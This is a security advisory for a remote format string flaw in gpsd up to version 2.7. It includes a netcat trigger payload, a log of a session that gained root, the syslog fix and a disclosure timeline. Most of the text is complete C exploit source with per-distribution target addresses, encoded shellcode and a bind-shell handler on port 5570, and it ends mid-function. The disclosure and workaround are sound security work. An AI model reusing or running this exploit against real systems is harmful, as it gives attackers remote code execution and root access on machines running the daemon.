A format string vulnerability in gpsd allows remote attackers to cause the program to execute arbitrary code.

Credit:
The information has been provided by KF (Lists).
The original article can be found at: http://www.digitalmunition.com/DMA[2005-0125a].txt

Details
Vulnerable Systems:
* gpsd version 1.9.0 through version 2.7

The format string issue is in the gpsd_report() funciton. syslog() is used without a format specifier multiple times in gpsd.c.
./gpsd.c: syslog(LOG_ERR, buf);
./gpsd.c: syslog(LOG_NOTICE, buf);

and more recently :

./gpsd.c: syslog((errlevel == 0) ? LOG_ERR : LOG_NOTICE, buf);

There are very few gpsd_report() calls that contain "%s" and only one is an exploitable instance.

./gpsd.c: gpsd_report(1, "<= client: %s", buf);

Here is a sample run at triggering the vulnerability.

[root@threat gpsd-2.0]# /usr/sbin/gpsd -p /dev/ttyS0
[root@threat gpsd-2.0]# tail -f /var/log/messages

Sep 19 12:59:23 threat gpsd[9420]: gpsd: launching (Version 2.0)
Sep 19 12:59:23 threat gpsd[9420]: gpsd: listening on port 2947

[root@threat gpsd-2.0]# nc localhost 2947
AAAABBBB%x%x%x%x%x%x%x%x%x%x%x%x%x
GPSD,A=?,A=?,A=?,A=?,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1

The above netcat session generated the following Syslog messages.

Sep 19 13:00:08 threat gpsd[9420]: gpsd: closed GPS
Sep 19 13:00:08 threat gpsd[9420]: gpsd: opening GPS data source at /dev/ttyS0
Sep 19 13:00:08 threat gpsd[9420]: gpsd: setting speed 4800, 8 bits, no parity
Sep 19 13:00:08 threat gpsd[9420]: gpsd: gpsd_activate: opened GPS (6)
Sep 19 13:00:08 threat gpsd[9420]: gpsd: <= client:
AAAABBBBfefdf8f80647370673d3c203a696c63203a746e654141412042424241257825422578
2578257825782578257825782578
Sep 19 13:00:11 threat gpsd[9420]: gpsd: closed GPS

From here you are dealing with a classic format string exploit.

Successful exploitation on a RedHat box gets you root, and on Debian you get uid=gpsd gid=dialout.

jdam:/home/kfinisterre/gps$ ./ex_gpsd -h 192.168.1.203 -t 12
# remote host 192.168.1.203.
Checking Remote version
GPSD VERSION: 2.6
# send exploit data.
[*] data sent 3389 bytes .
[*] data sent 2 bytes .
[+] Trying to exec shellcode on remote
[*] data sent 2 bytes .
[-] Waiting 5 seconds to connect to remote shell
[+] yes!
[*] Executed shell successfully !

Linux localhost.localdomain 2.4.20-8 #1 Thu Mar 13 17:18:24 EST 2003 i686 athlon i386 GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
stty: standard input: Invalid argument
[root@localhost /]# exit

To fix this vulnerability in ./gpsd.c you need to modify a few syslog calls. This may break existing gpsd_report() functionality. When the author(s) gets around to checking email and or reading the bug entries a new version will come out. This work around is strictly to prevent exploitation.

syslog(LOG_ERR, "%s", buf);
syslog(LOG_NOTICE, "%s", buf);
syslog((errlevel == 0) ? LOG_ERR : LOG_NOTICE, "%s", buf);

Timeline associated with this bug:
01/19/2005 attempts to notify all of the individuals working on the project via email were made. no response.
01/20/2005 BerliOS Developer bug ID #003087 Security Vulnerability ala syslog() was filed. no response.

Exploit:

**
** Copyright Johnh and KF 2005
**
** Gpsd remote format string exploit
** By: Johnh[at]digitalmunition[dot]com
** Bug Found By: kf[at]digitalmunition[dot]com
** http://www.digitalmunition.com/DMA[2005-0125a].txt
**
** Features: Version ident
**
** Debian machines provide uid=gpsd
** Redhat machines provide uid=root
**
** Lots of JUMP_SLOT's provided but
** You can get or brute the shellcode
** addresses yourself.
**/

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>

#define GPSD_PORT 2947

void sh(int st_sock_va);
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout);
int checkZero (long value);
char *putLong (char* ptr, long value);
int own_gpsd(int sock,int iType);
int check_version(int sock);
int exec_shellcode(int sock);
int usage(char *p);

struct
{
unsigned long retloc; /* retloc of syslog */
unsigned long retaddr;
char *szDescription;
}targets[] =
{

// Brute the rest of the addresses your self...
// syslog() , shellcode , version
{0x0804f250,0x41424344, "gpsd-1.91-1.i386.rpm"}, // .rpms Tested on Redhat 9.0
{0x0804f630,0x41424344, "gpsd-1.92-1.i386.rpm"},
{0x0804e154,0x41424344, "gpsd-1.93-1.i386.rpm"},
{0x0804f260,0x41424344, "gpsd-1.94-1.i386.rpm"},
{0x0804f268,0x41424344, "gpsd-1.95-1.i386.rpm"},
{0x41424344,0x41424344, "gpsd-1.96-1.i386.rpm"}, //broken rpm?
{0x0804b14c,0x41424344, "gpsd-1.97-1.i386.rpm"},
{0x0804c7a0,0x41424344, "gpsd-2.1-1.i386.rpm"},
{0x0804c7a0,0x41424344, "gpsd-2.2-1.i386.rpm"},
{0x0804c730,0xbfffd661, "gpsd-2.3-1.i386.rpm"},
{0x0804c7b8,0xbfffde71, "gpsd-2.4-1.i386.rpm"},
{0x0804c7dc,0xbfffdc09, "gpsd-2.5-1.i386.rpm"},
{0x0804c730,0xbffff100, "gpsd-2.6-1.i386.rpm"},
{0x0804c5bc,0xbfffcabc, "gpsd-2.7-1.i386.rpm"},
{0x0804c7c4,0xbfffedc8, "gpsd_2.6-1_i386.deb"}, // .debs Tested on Debian GNU/Linux 3.1
{0x0804c6c4,0xbfffc818, "gpsd_2.7-1_i386.deb"},
{0x0804c770,0xbfffee70, "gpsd_2.7-2_i386.deb"},
{0x0804c818,0xbfffe148, "SuSE 9.1 compiled 2.0"}, //compiled binary on local box for debug
{0x0804b164,0xbfffd7d6, "Slackware 9.0 compiled 2.0"
{0x0804c3ec,0xbfffe65c, "Slackware 9.0 compiled 2.7 "},
{0x41424344,0xdeadbeef, "Debug "},

},v;

int iType;

char shellcode[]=
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x16\x81\x73\x17\x13\x99"
"\x37\xe2\x83\xeb\xfc\xe2\xf4\x22\x42\xc0\x01\xa3\xff\x64\xa1\x40"
"\xda\x64\x6b\xf2\xd2\xfa\x62\x9a\x5e\x65\x84\x7b\x8c\xf5\xa1\x75"
"\xca\xbe\x03\xa3\x89\x67\xb3\x44\x10\xd6\x52\x75\x54\xb7\x52\x75"
"\x2a\x33\x2f\x93\xc9\x67\xb5\x9a\x78\x74\x52\x75\x54\xb7\x6b\xca"
"\x10\xf4\x52\x2c\xd0\xfa\x62\x52\x7b\xcf\xb3\x7b\xf7\x18\x91\x7b"
"\xf1\x18\xcd\x71\xf0\xbe\x01\x42\xca\xbe\x03\xa3\x92\xfa\x62";

//thanks sam
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
{
int sock,
flag,
pe = 0;
size_t pe_len;
struct timeval tv;
struct sockaddr_in addr;
struct hostent* hp = NULL;
fd_set rset;

// reslov hosts
hp = gethostbyname (host);
if (NULL == hp) {
perror ("tcpConnect:gethostbyname\n");
return -1;
}

sock = socket (AF_INET, SOCK_STREAM, 0);
if (-1 == sock) {
perror ("tcpConnect:socket\n");
return -1;
}

addr.sin_addr = *(struct in_addr *) hp->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons (port);

/* set socket no block
*/
flag = fcntl (sock, F_GETFL);
if (-1 == flag) {
perror ("tcpConnect:fcntl\n");
close (sock);
return -1;
}
flag |= O_NONBLOCK;
if (fcntl (sock, F_SETFL, flag) < 0) {
perror ("tcpConnect:fcntl\n");
close (sock);
return -1;
}

if (connect (sock, (const struct sockaddr *) &addr,
sizeof(addr)) < 0 &&
errno != EINPROGRESS) {
perror ("tcpConnect:connect\n");
close (sock);
return -1;
}

/* set connect timeout
* use millisecond
*/
tv.tv_sec = timeout/1000;
tv.tv_usec = timeout%1000;
FD_ZERO (&rset);
FD_SET (sock, &rset);

if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) {
// perror ("tcpConnect:select");
close (sock);
return -1;
}

pe_len = sizeof (pe);

if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
perror ("tcpConnect:getsockopt\n");
close (sock);
return -1;
}

if (pe != 0) {
errno = pe;
close (sock);
return -1;
}

if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
perror ("tcpConnect:fcntl\n");
close (sock);
return -1;
}

pe = 1;
pe_len = sizeof (pe);

if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){
perror ("tcpConnect:setsockopt\n");
close (sock);
return -1;
}
return sock;
}

void sh(int st_sock_va)
{
int died;
char *command="uname -a; id; export TERM=vt100; exec bash -i\n";
char readbuf[1024];
fd_set rset;
memset((char *)readbuf,0,sizeof(readbuf));
fprintf(stdout,"[*] Executed shell successfully !\n\n");
send(st_sock_va,command,strlen(command),0);

for(;;)
{
fflush(stdout);
FD_ZERO(&rset);
FD_SET(st_sock_va,&rset);
FD_SET(STDIN_FILENO,&rset);
select(st_sock_va+1,&rset,NULL,NULL,NULL);

if(FD_ISSET(st_sock_va,&rset))
{
died=read(st_sock_va,readbuf,sizeof(readbuf)-1);
if(died<=0)
exit(0);
readbuf[died]=0;
fprintf(stdout,"%s",readbuf);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
if(died>0)
{
readbuf[died]=0;
write(st_sock_va,readbuf,died);
}
}
}
return;
}

/*
*check the \x00 byte
*/
int checkZero (long value)
{
return !((value & 0x00ffffff) &&
(value & 0xff00ffff) &&
(value & 0xffff00ff) &&
(value & 0xffffff00));

}
/*
* put a address in mem, for little-endian
*
*/
char*
putLong (char* ptr, long value)
{
*ptr++ = (char) (value >> 0) & 0xff;
*ptr++ = (char) (value >> 8) & 0xff;
*ptr++ = (char) (value >> 16) & 0xff;
*ptr++ = (char) (value >> 24) & 0xff;

return ptr;
}

int main (int argc, char **argv)
{
int c, sock, ret;
char *hostName = NULL;

if (argc < 3) {
usage (argv[0]);
return -1;
}

while((c = getopt(argc, argv, "h:t:")) != EOF) {
switch(c) {
case 'h':
hostName = optarg;
break;
case 't':
iType = atoi (optarg);
break;
default:
usage (argv[0]);
return 0;
}
}

if (argc < 2) { usage(argv[0]); exit(1); }

if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
{
usage(argv[0]);
printf("[-] Invalid type.\n");
return 0;
}

printf ("# remote host %s. \n", hostName);

sock = new_tcpConnect (hostName, GPSD_PORT, 9000);
printf("Checking Remote version\n");
check_version(sock);

own_gpsd (sock,iType);
close(sock);
sock = new_tcpConnect (hostName, GPSD_PORT, 9000);
printf("[+] Trying to exec shellcode on remote\n");
exec_shellcode(sock);
printf("[-] Waiting 5 seconds to connect to remote shell\n");
sleep (5);
if ((ret = new_tcpConnect (hostName, 5570, 9000)) < 0) {
fprintf (stderr, "[-] failed :< \n");
goto out;
}

printf ("[+] yes! \n");

sh (ret);
out:
close (ret);
return 0;
}

int own_gpsd(int sock,int iType)
{
int offset = 0x11;
int dump_fmt=7;
int al = 3;
int hi,lo;
int x;
int ret;
unsigned long shift0,shift1;
char buf[90000];
char fun[256];
char *ptr;

/* check zero byte */
if (checkZero (targets[iType].retloc) || checkZero (targets[iType].retloc+2) ) {
printf ("retloc has a null; <\n");
exit (1);
}

hi = (targets[iType].retaddr >> 0) & 0xffff;
lo = (targets[iType].retaddr >> 16) & 0xffff;

shift0 = hi - offset - (dump_fmt * 8 + 16 + al);
shift1 = (0x10000 + lo) - hi;

memset(buf,0x41,3);
ptr = buf+3;
ptr = putLong (ptr, 0x42424242);
ptr = putLong (ptr, targets[iType].retloc);
ptr = putLong (ptr, 0x42424242);
ptr = putLong (ptr, targets[iType].retloc+2);

for (x=0;x<dump_fmt;x++)
strcat(ptr,"%.8x");

strcat(ptr,"%.");
sprintf(ptr+strlen(ptr),"%u",shift0);
strcat(ptr,"lx%hn");

strcat(ptr,"%.");
sprintf(ptr+strlen(ptr),"%u",shift1);
strcat(ptr,"lx%hn");
x = strlen(ptr);
memset(ptr+x,0x90,3000);
x+=3000;
memcpy(ptr+x,shellcode,337);
x+=337;

printf ("# send exploit data. \n");
sleep(1);
ret = send (sock, buf, x, 0);
printf ("[*] data sent %d bytes .\n", x);
memcpy(fun,"l\n",2);
ret = send (sock, fun, 2, 0);
printf ("[*] data sent %d bytes .\n", ret);

return 0;
}

//Had to connect to remote and send a string to make shellcode execute. No idea why. but it works so :)
int exec_shellcode(int sock) {
int ret;
char fun[256];

memcpy(fun,"l\n",2);
ret = send (sock, fun, 2, 0);
printf ("[*] data sent %d bytes .\n", ret);

return 0;
}

//Check remote version of gpsd. You may ask why because all verions are vuln but who knows :)
//When the vendor changes the code you can change this to detect a vuln/non vuln version
int check_version(int sock) {
char *version;
char buf_ver[256];
char recv_buf[256];
int ret;

memcpy(buf_ver,"l\n",2);
ret = send (sock, buf_ver, 2, 0);
ret = recv(sock,recv_buf,sizeof(recv_buf),0);
version = strtok(recv_buf," ");
version = strtok(NULL," ");
printf("GPSD VERSION: %s\n",version);

}

int usage(char *p)

{
int i;
printf( "Gpsd <= 2.7 remote formatstring exploit\r\nBy: johnh@secnetops.com\r\n");